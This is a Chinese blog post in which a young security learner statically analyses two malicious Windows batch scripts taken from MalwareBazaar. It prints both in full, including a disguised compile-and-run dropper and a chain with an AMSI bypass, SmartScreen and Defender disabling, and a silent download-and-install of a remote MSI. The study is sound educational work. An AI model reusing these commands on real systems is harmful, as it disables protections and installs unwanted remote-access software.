Windows 命令提示符(CMD)恶意脚本分析篇

📅 2026/7/10 23:58:43 👁️ 阅读次数 📝 编程学习
Windows 命令提示符(CMD)恶意脚本分析篇

大家好,你们可以叫我凌,是个16岁的网络安全学习者。

最近我在想,如果就这么草草结束了 Windows 命令提示符(CMD) 的学习并没有什么意思。于是我特地准备了几个硬核的东西,我在 MalwareBazaar 上下载了几个轻量级的恶意 .bat 文件(无任何混淆技术处理),今天就和各位一起来静态分析下。


【郑重说明 · 安全免责声明】

本文系《Windows命令提示符(CMD)恶意脚本分析篇》的技术分享,旨在提升网络安全学习者的代码审计与系统防御能力。

1. 样本来源与使用边界
本文分析的恶意脚本样本(.bat)均来源于公开的威胁情报平台 MalwareBazaar,下载目的仅限于教育研究与静态代码逻辑剖析。

2. 严正声明(核心准则)
本人郑重承诺,本文所有分析工作严格局限于代码层面的静态文本阅读,绝未在任何物理机、虚拟机或沙箱环境中执行、触发或调试(Debug)这些脚本文件。所有代码片段的展示均以“文本字符”形式呈现,不构成任何形式的攻击载荷交付。

3. 脱敏与安全防护
为防范无意识误触,文中所有涉及恶意域名、IP地址、注册表修改项及敏感下载链接的部分,均已进行字符混淆或阻断处理(如将 http:// 替换为 hxxp:// 或将特定字符替换为 [.])。请读者在阅读时保持安全意识,切勿复制文中代码直接在真实环境中运行。

4. 法律合规与责任豁免
本文严格遵守《中华人民共和国网络安全法》及《计算机病毒防治管理办法》的相关规定。所有技术解析仅用于抵御同类威胁,严禁任何组织或个人利用文中技术手段从事非法活动。因不当使用本文代码所引发的一切法律后果,均由行为实施者自行承担,与本文作者及发布平台无关。

特别提示: 安全学习,始于敬畏。静态分析看“术”,防御意识在“心”。请务必将分析环境与宿主机进行物理隔离,且分析完毕后及时销毁样本文件。


普通样本分析

我们先看第一个样本:

SHA256:6b8d7f6cc333d2e89b45821a83f7d2029e8a6cdcb0c92ec1e577dd2158cfa0e9

@echo off title Intel Graphic Driver setlocal set MINGW_ROOT=%~dp0mingw64 set PATH=%MINGW_ROOT%\bin;%PATH% if not exist "%MINGW_ROOT%\bin\g++.exe" ( pause exit /b 1 ) g++ -O2 Intel(R)_HD_Graphic_Driver.cpp -static-libgcc -static-libstdc++ -static -lgdi32 -lwinhttp -lole32 -ladvapi32 -lshell32 -lgdiplus -o Intel(R)_HD_Graphic_Driver.exe if %errorlevel% neq 0 ( pause exit /b %errorlevel% ) start "" Intel(R)_HD_Graphic_Driver.exe timeout /t 2 >nul exit

代码分析

我们先看第一部分代码,主要用于伪装与窗口美化。

@echo off title Intel Graphic Driver

@echo off :关闭命令回显,让窗口不显示命令原文,只显示输出结果。

title Intel Graphic Driver :把 CMD 窗口的标题栏改成“Intel Graphic Driver”,让用户以为这是英特尔官方的驱动安装程序。

攻击者意图:将窗口标题改成显卡驱动,为了让用户放松警惕。

接着看第二部分代码,主要设置“环境变量”和“搜索路径”。

setlocal set MINGW_ROOT=%~dp0mingw64 set PATH=%MINGW_ROOT%\bin;%PATH%

setlocal :开启本地变量环境,后面设置的变量只在当前脚本有效,不会污染系统的全局环境变量。

set MINGW_ROOT=%~dp0mingw64 :%~dp0 表示当前脚本所在的文件夹路径,后面直接拼接 mingw64。如果脚本在 C:\test\,那 MINGW_ROOT 就等于 C:\test\mingw64。

set PATH=...;%PATH% :PATH 是 Windows 的环境变量,它决定了在 CMD 中输入命令时,系统去哪找对应的 .exe。这里把 C:\test\mingw64\bin 插入到 PATH 的最前面,这样系统就会优先去那里找 g++.exe。

攻击者意图:他想调用 g++ 编译器,但没有把 mingw64 安装到系统目录,而是打包在脚本同一目录下。通过修改 PATH,他可以临时“借用”这个编译器。

继续看第三部分代码,主要是用来检查“工具是否齐全”。

if not exist "%MINGW_ROOT%\bin\g++.exe" ( pause exit /b 1 )

if not exist xxx :检查xxx文件是否存在。如果 g++.exe 不在 mingw64\bin 里,说明攻击者的工具包不完整。

pause :显示“按任意键继续”,让受害者看到报错,但攻击者设计这个是为了防止脚本静默失败,导致暴露。

exit /b 1 :退出当前脚本,并返回错误码 1。

攻击者意图:一个周全的攻击者会确保自己的工具链完整,如果缺了编译器,整个攻击就失败了,所以不如直接退出,避免后续报错信息暴露更多。

接着看第四部分代码,这是核心攻击攻击动作。

g++ -O2 Intel(R)_HD_Graphic_Driver.cpp -static-libgcc -static-libstdc++ -static -lgdi32 -lwinhttp -lole32 -ladvapi32 -lshell32 -lgdiplus -o Intel(R)_HD_Graphic_Driver.exe

这行是最关键的,这里简单讲下,想要详细了解的可以自己额外学习CPP(C++)。

部分具体内容解释
命令g++C++ 编译器,平时程序员用它把 .cpp 源码编译成 .exe 程序。
源文件Intel(R)_HD_Graphic_Driver.cpp攻击者写的恶意 C++ 源码,里面藏着真正的恶意行为(下载木马、键盘记录等)。
编译参数-O2优化等级,让生成的 .exe 运行更快。
-static-libgcc -static-libstdc++ -static静态链接,把 C++ 运行库打包进 .exe,这样目标电脑即使没装 C++ 运行环境也能运行。
-lgdi32 -lwinhttp -lole32 -ladvapi32 -lshell32 -lgdiplus链接 Windows 系统库,允许这个程序调用:
• gdi32:绘图功能(可做屏幕截图)
• winhttp:HTTP 网络请求(可连 C2 服务器)
• ole32:COM 组件(可操作 Office 或 WMI)
• advapi32:注册表操作、服务控制
• shell32:执行程序、快捷方式
• gdiplus:图像处理
输出-o Intel(R)_HD_Graphic_Driver.exe指定生成的可执行文件名为 Intel(R)_HD_Graphic_Driver.exe,继续伪装成显卡驱动程序。

总结这行代码的作用:用攻击者自带的 C++ 编译器,把恶意源码当场编译成一个合法的 Windows 程序,然后伪装成显卡驱动。

接着看第五部分代码,用于编译失败时的处理。

if %errorlevel% neq 0 ( pause exit /b %errorlevel% )

%errorlevel% :上一条命令(g++)执行后的返回码。0 表示成功,非 0 表示失败。

neq 0 :不等于 0。如果编译出错,就进入分支。

攻击者意图:如果编译失败(比如源码有语法错误、缺少头文件),脚本就暂停并退出,避免运行一个不完整的恶意程序导致暴露。

继续第六部分代码,用于运行恶意程序并清理

start "" Intel(R)_HD_Graphic_Driver.exe timeout /t 2 >nul exit

start "" :启动一个程序,并让它在后台运行。"" 是窗口标题(空),作用只是保证参数顺序正确。

Intel(R)_HD_Graphic_Driver.exe :上一步刚编译出来的恶意程序。

timeout /t 2 >nul :等待 2 秒,不显示倒计时。让 .exe 有时间启动,然后脚本退出。

exit 退出批处理脚本,整个 CMD 窗口关闭。

攻击流程总结

如图所示:

进阶样本分析

接下来我们看第二个样本,这个样本相比于上个样本功能更多更复杂。

SHA256:31260c37cc442719ac84540f4159dd9d4738575d2ab05e92c751a9b4b5f9b91b

@echo off setlocal EnableExtensions EnableDelayedExpansion :: ============================================= :: AMSI BYPASS (Run before PowerShell) :: ============================================= powershell -WindowStyle Hidden -Command "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)" :: ============================================= :: Auto-elevate to Admin (UAC prompt) :: ============================================= net session >nul 2>&1 if %errorlevel% neq 0 ( powershell -WindowStyle Hidden -Command "Start-Process '%~f0' -Verb RunAs" exit /b ) :: ============================================== :: Disable Windows SmartScreen :: ============================================== reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d Off /f >nul 2>&1 reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f >nul 2>&1 :: Restart Explorer to apply taskkill /f /im explorer.exe >nul 2>&1 start explorer.exe >nul 2>&1 :: ================================================ :: Add Defender exclusion for TEMP folder :: ================================================ powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%TEMP%' -ErrorAction SilentlyContinue" :: ================================================ :: Download ScreenConnect MSI from your RDP :: ================================================ set "SC_URL=hxxp://xxx/xxx.msi" set "SC_PATH=%TEMP%\WindowsExplorerSupport.msi" powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri '%SC_URL%' -OutFile '%SC_PATH%' -UseBasicParsing" :: Check if download succeeded if not exist "%SC_PATH%" ( echo [ERROR] Download failed. Exiting. pause exit /b ) :: Remove Mark-of-the-Web powershell -WindowStyle Hidden -Command "Unlock-File -Path '%SC_PATH%' -ErrorAction SilentlyContinue" :: Add exclusion for the MSI file powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%SC_PATH%' -ErrorAction SilentlyContinue" :: ================================================ :: Silent MSI installation :: ================================================ msiexec /i "%SC_PATH%" /qn /norestart :: Clean up del "%SC_PATH%" >nul 2>&1 exit

代码分析

我们先来看第一部分代码,属于 CMD 脚本的基操。

@echo off setlocal EnableExtensions EnableDelayedExpansion

@echo off :echo off 关闭命令回显,@ 让这条命令本身也不显示。

setlocal EnableExtensions EnableDelayedExpansion :
• setlocal 开启本地变量环境,后面的变量只在脚本内有效。
• EnableExtensions 启用 CMD 的高级功能(比如 “ for /f ” 的一些参数),这个默认开启。
• EnableDelayedExpansion :允许在括号 ( ) 内用 !var! 动态读取变量,而不是预编译时的 %var%。

总结:这组命令组合在一起,是编写健壮、稳定批处理脚本的“黄金起手式”,确保后续代码无回显、变量隔离、且循环内能正确读取变化的数值。

接着来看第二部分代码,属于AMSI 绕过。目前 powershell 还未学习,只需要了解作用即可。

powershell -WindowStyle Hidden -Command "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"

作用:让 Windows 自带的 PowerShell 杀毒扫描接口(AMSI)“假装坏掉”,这样后面再跑 PowerShell 就不会被拦截了。

接下来看第三部分代码,这串代码主要用来进行提权的。

net session >nul 2>&1 if %errorlevel% neq 0 ( powershell -WindowStyle Hidden -Command "Start-Process '%~f0' -Verb RunAs" exit /b )

net session >nul 2>&1:

内容详细解释
net session查看当前计算机上有哪些远程用户正在访问你的共享文件夹。只有管理员权限才能执行成功,普通用户执行会直接报错“拒绝访问”。
>nul标准输出重定向到黑洞,不显示任何正常信息。
2>&1

• 在 CMD 中,1 代表标准输出(STDOUT),2 代表错误输出(STDERR)。

• 2>&1 的意思是:“把错误输出(2)也丢到标准输出(1)所在的地方”。

• 因为前面已经把标准输出(1)指向了 nul,所以错误输出也跟着进了 nul。

• 合在一起的效果:这条命令不管执行成功还是报错,屏幕上什么都看不到,完全静默。

if %errorlevel% neq 0:

内容详细解释
%errorlevel%上一条命令执行完后的返回码。0 表示成功,非 0 表示失败。
neqNot EQual(不等于)。这是 CMD 数值比较的写法,等价于编程里的 “!=”
neq 0如果上一条 “net session” 返回的不是 0,意味着当前脚本没有管理员权限

括号内内容讲解:

内容详细解释
powershell ... Start-Process '%~f0' -Verb RunAs概括:用 PowerShell 重新启动当前脚本(%~f0),并加上“以管理员身份运行”的 flag,触发 UAC 弹窗。
exit /b退出当前脚本(低权限版本)。等用户点了 UAC 的“是”,高权限版本会重新跑一遍。

%~f0 补充讲解:

- %~dp0是获取脚本所在的文件夹路径(不带文件名)。
- %~f0 是获取当前脚本的完整绝对路径(盘符 + 文件夹 + 文件名 + 扩展名)。
- 这里用 %~f0 是因为 Start-Process 需要一个完整的文件路径来启动。

总结:用于自动检测当前是否拥有管理员权限,如果没有,则通过 PowerShell 以隐藏窗口重新以管理员身份运行当前脚本,并退出原进程;如果已有权限,则正常继续执行后续命令。

下面是第四部分代码,用于关闭 SmartScreen。

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d Off /f >nul 2>&1 reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f >nul 2>&1
参数含义这条命令里的值
reg add向注册表写入或修改一个键值。写入两条注册表配置。
"HKLM\..."

注册表路径。HKLM = HKEY_LOCAL_MACHINE

(本机配置,对所有用户生效)。

第一条路径是当前版本 Explorer 的设置;第二条是组策略路径。
/vValue(值名称)。要修改的键值叫什么名字。SmartScreenEnabled 和 `EnableSmartScreen。
/tType(数据类型)。告诉注册表这个值是什么格式。REG_SZ(字符串),REG_DWORD(32位数字)。
/dData(数据)。要写入的具体内容。Off 和 0,都是“关闭”的意思。
/fForce(强制)。如果键值已存在,不询问直接覆盖。加了 /f 就不会弹“是否覆盖”的提示。
>nul 2>&1把所有输出都丢进黑洞,静默执行。让修改注册表时不显示“操作成功”的提示,保持隐蔽。

总结:第一条关闭 Explorer 级别的 SmartScreen,第二条从组策略层面锁死,防止用户手动重新打开。作用是彻底关闭 Windows 自带的 SmartScreen 安全筛选功能,运行可疑程序或下载文件时不再弹出安全警告。静默执行(>nul 2>&1 屏蔽了所有成功或错误的提示信息)。

我们接着看第五部分代码,作用是重启资源管理器。

taskkill /f /im explorer.exe >nul 2>&1 start explorer.exe >nul 2>&1

taskkill /f /im explorer.exe:

参数含义详细解释
taskkill结束一个正在运行的进程。强制结束资源管理器。
/fForce(强制)。不加 /f 的话,进程可能因为“拒绝关闭”而结束不了;加 /f 直接暴力终止。
/imImage Name(映像名称)指定要结束的进程名,而不是 PID。
explorer.exe进程名。

资源管理器(桌面、任务栏、文件管理器)。

效果:桌面会闪烁一下,任务栏消失,因为 explorer.exe 被杀了。

start explorer.exe:

部分详细解释
start启动一个新程序。
explorer.exe重新启动资源管理器进程,桌面和任务栏恢复。

总结:有些注册表修改(比如 SmartScreen)需要资源管理器重启后才能生效,不重启的话,关闭不会立即应用。所以使用该两行命令进行重启资源管理器。

接下来是第六部分,用于添加 Defender 排除。

powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%TEMP%' -ErrorAction SilentlyContinue"

总结:把 %TEMP% 文件夹加入 Windows Defender 的白名单,后面下载到这里的恶意文件不会被扫描和拦截。

下面是第七部分,用于下载恶意文件。

set "SC_URL=hxxp://xxx/xxx.msi" set "SC_PATH=%TEMP%\WindowsExplorerSupport.msi" powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri '%SC_URL%' -OutFile '%SC_PATH%' -UseBasicParsing"

代码解释:
- set "SC_URL=..." :定义一个变量,存着恶意下载链接。
- set "SC_PATH=%TEMP%\WindowsExplorerSupport.msi" :定义变量,存着下载后的保存路径。%TEMP% 是系统临时文件夹(C:\Users\用户名\AppData\Local\Temp),伪装成 Windows 更新支持文件。
- powershell部分 :向那个 URL 发起请求,把下载的文件保存到 %SC_PATH%。

总结:静默下载远程MSI文件到临时目录并伪装成系统文件名。

接下来是第八部分,用于下载成功检查。

if not exist "%SC_PATH%" ( echo [ERROR] Download failed. Exiting. pause exit /b )

代码解释:
- if not exist :检查文件是否存在。如果不存在,进入括号。
- "%SC_PATH%" :用双引号括起来,防止路径里有空格导致命令截断。
- echo [ERROR]... :打印错误信息。
- pause :暂停脚本,让用户看到错误信息,按任意键才退出。
- exit /b :退出当前脚本,返回错误码 0。

总结:检查下载的MSI文件是否存在,若不存在则提示错误、暂停并退出。

下面是第九部分,用于 移除网络标记 以及 再次加白。

powershell -WindowStyle Hidden -Command "Unlock-File -Path '%SC_PATH%' -ErrorAction SilentlyContinue" powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%SC_PATH%' -ErrorAction SilentlyContinue"

总结:第一句是移除下载文件自带的“来自互联网”标记。如果不移除,Windows 运行 MSI 时会弹窗问“你确定要运行来自未知发布者的文件吗?”。
第二句作用是把刚下载的这个 MSI 文件本身也加入 Defender 白名单,双重保险,防止被杀。

接下来是第十段代码,是静默安装 MSI 并清理。

msiexec /i "%SC_PATH%" /qn /norestart del "%SC_PATH%" >nul 2>&1 exit

msiexec /i "%SC_PATH%" /qn /norestart:

内容详细解释
msiexecWindows 自带的 MSI 安装包执行工具。所有 .msi 文件都是由它来安装的。
/iInstall(安装)。告诉 msiexec 是要安装这个包,而不是卸载(/x)或修复(/f)。
"%SC_PATH%"要安装的 MSI 文件路径。
/qnQuiet + No UI(完全静默,不显示任何界面)。用户完全看不到安装进度条,毫无感知。
/norestart安装完成后不重启电脑。有些 MSI 安装包会强制要求重启,加上这个就不重启了。

del "%SC_PATH%" >nul 2>&1:

内容详细解释
del删除文件。
"%SC_PATH%"删除刚才下载的 MSI 文件。
>nul 2>&1静默删除,即使文件不存在或被占用也不报错,不留下任何痕迹。

exit:退出脚本,CMD 窗口关闭。整个过程结束。

总结:MSI 静默安装,完成后删除安装包,最后 exit 返回 msiexec 的退出码。

攻击流程总结

如图所示:


这样子,Windows命令提示符的内容就算是完成了。接下来将是 PowerShell 的学习,我们下次再见。